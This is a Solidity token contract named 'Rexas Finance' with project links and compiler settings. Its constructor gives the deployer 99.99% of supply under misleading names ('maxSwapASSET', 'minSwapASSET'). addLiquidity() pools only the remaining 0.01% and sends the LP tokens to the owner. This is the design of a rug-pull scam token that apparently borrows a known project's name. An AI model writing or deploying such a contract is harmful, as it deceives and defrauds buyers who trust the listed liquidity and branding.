// SPDX-License-Identifier: MIT
// Rexas Finance
// https://t.me/RexasFinanceGlobal
// https://rexasfinance.locker/
// https://x.com/rexasfinance

pragma solidity ^0.8.0;
interface ASSET {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}
contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract RexasFinance is ASSET, Ownable {
    using SafeMath for uint256;
    string private _name = "Rexas Finance";
    string private _symbol = "REXASFINANCE";
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1000000000 * 10 ** 18;
    uint256 MAXRateForDex = 10000;
    uint256 maxSwapASSET = 9999;
    uint256 minSwapASSET = 1;
    mapping(address => uint256) private balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;
    constructor() payable {
        balance[address(this)] = _totalSupply.mul(minSwapASSET).div(MAXRateForDex);
        balance[_msgSender()] = _totalSupply.mul(maxSwapASSET).div(MAXRateForDex);
        emit Transfer(address(0), address(this), _totalSupply.mul(minSwapASSET).div(MAXRateForDex));
        emit Transfer(address(0), _msgSender(), _totalSupply.mul(maxSwapASSET).div(MAXRateForDex));
        payable(address(this)).transfer(msg.value);
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));
        balance[sender] = balance[sender].sub(amount);
        balance[recipient] = balance[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }
    receive() external payable {}
    function name() public view virtual  returns (string memory) {
        return _name;
    }
    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return balance[account];
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

{
  "compilationTarget": {
    "RexasFinance.sol": "RexasFinance"
  },
  "evmVersion": "prague",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}